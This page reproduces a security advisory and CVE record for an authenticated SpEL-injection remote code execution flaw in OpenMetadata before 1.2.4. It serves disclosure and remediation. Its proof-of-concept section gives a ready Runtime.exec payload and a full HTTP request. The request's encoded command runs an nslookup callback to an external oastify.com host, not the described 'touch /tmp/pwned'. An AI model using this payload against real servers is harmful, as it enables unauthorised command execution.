Vulnerability-Lookup

GHSA-5XV3-FM7G-865R

Vulnerability from github – Published: 2024-04-24 17:06 – Updated: 2024-04-24 17:06

Summary

OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

Details

SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

The ‎CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from PolicyResource.java

  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }

  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

Prepare the payload
- Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA==
- SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- Encode the payload using URL encoding:

%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29

Send the payload using a valid JWT token:

GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>

Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:openmetadata-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:06:02Z",
    "nvd_published_at": "2024-03-15T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nThe [`\u200eCompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.\n\n[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)\n\n```java\n  @GET\n  @Path(\"/validation/condition/{expression}\")\n  @Operation(\n      operationId = \"validateCondition\",\n      summary = \"Validate a given condition\",\n      description = \"Validate a given condition expression used in authoring rules.\",\n      responses = {\n        @ApiResponse(responseCode = \"204\", description = \"No value is returned\"),\n        @ApiResponse(responseCode = \"400\", description = \"Invalid expression\")\n      })\n  public void validateCondition(\n      @Context UriInfo uriInfo,\n      @Context SecurityContext securityContext,\n      @Parameter(description = \"Expression of validating rule\", schema = @Schema(type = \"string\"))\n          @PathParam(\"expression\")\n          String expression) {\n    CompiledRule.validateExpression(expression, Boolean.class);\n  }\n```\n\n```java\n  public static \u003cT\u003e void validateExpression(String condition, Class\u003cT\u003e clz) {\n    if (condition == null) {\n      return;\n    }\n    Expression expression = parseExpression(condition);\n    RuleEvaluator ruleEvaluator = new RuleEvaluator();\n    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);\n    try {\n      expression.getValue(evaluationContext, clz);\n    } catch (Exception exception) {\n      // Remove unnecessary class details in the exception message\n      String message = exception.getMessage().replaceAll(\"on type .*$\", \"\").replaceAll(\"on object .*$\", \"\");\n      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));\n    }\n  }\n```\n\nIn addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n#### Proof of concept\n\n- Prepare the payload\n\t- Encode `touch /tmp/pwned` in Base64 =\u003e `dG91Y2ggL3RtcC9wd25lZA==`\n\t- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n\t- Encode the payload using URL encoding:\n```\n%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29\n```\n\n- Send the payload using a valid JWT token:\n```http\nGET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2\nHost: sandbox.open-metadata.org\nAuthorization: Bearer \u003cnon-admin JWT\u003e\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
  "id": "GHSA-5xv3-fm7g-865r",
  "modified": "2024-04-24T17:06:02Z",
  "published": "2024-04-24T17:06:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28848"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)"
}

CVE-2024-28848 (GCVE-0-2024-28848)

Vulnerability from cvelistv5 – Published: 2024-03-15 19:55 – Updated: 2024-08-13 17:08

Title

SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` in OpenMetadata

Summary

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `‎CompiledRule::validateExpression` method evaluates an SpEL expression using an `StandardEvaluationContext`, allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-236`. This issue may lead to Remote Code Execution and has been resolved in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-07-19 16:59 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/open-metadata/OpenMetadata/sec…	x_refsource_CONFIRM
https://codeql.github.com/codeql-query-help/java/…	x_refsource_MISC
https://github.com/open-metadata/OpenMetadata/blo…	x_refsource_MISC
https://github.com/open-metadata/OpenMetadata/blo…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
open-metadata	OpenMetadata	Affected: < 1.2.4
openmetadata	openmetadata	Affected: 0 , < 1.2.4 (custom) cpe:2.3:a:openmetadata:openmetadata::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:openmetadata:openmetadata:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "openmetadata",
            "vendor": "openmetadata",
            "versions": [
              {
                "lessThan": "1.2.4",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-28848",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-19T16:59:58.964482Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-13T17:08:03.539Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:56:58.150Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
          },
          {
            "name": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
          },
          {
            "name": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
          },
          {
            "name": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenMetadata",
          "vendor": "open-metadata",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.2.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `\u200eCompiledRule::validateExpression` method evaluates an SpEL expression using an `StandardEvaluationContext`, allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL\u0027s Expression language injection (Spring) query and is also tracked as `GHSL-2023-236`. This issue may lead to Remote Code Execution and has been resolved in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-15T19:55:47.039Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
        },
        {
          "name": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
        },
        {
          "name": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
        },
        {
          "name": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
        }
      ],
      "source": {
        "advisory": "GHSA-5xv3-fm7g-865r",
        "discovery": "UNKNOWN"
      },
      "title": "SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` in OpenMetadata"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-28848",
    "datePublished": "2024-03-15T19:55:47.039Z",
    "dateReserved": "2024-03-11T22:45:07.685Z",
    "dateUpdated": "2024-08-13T17:08:03.539Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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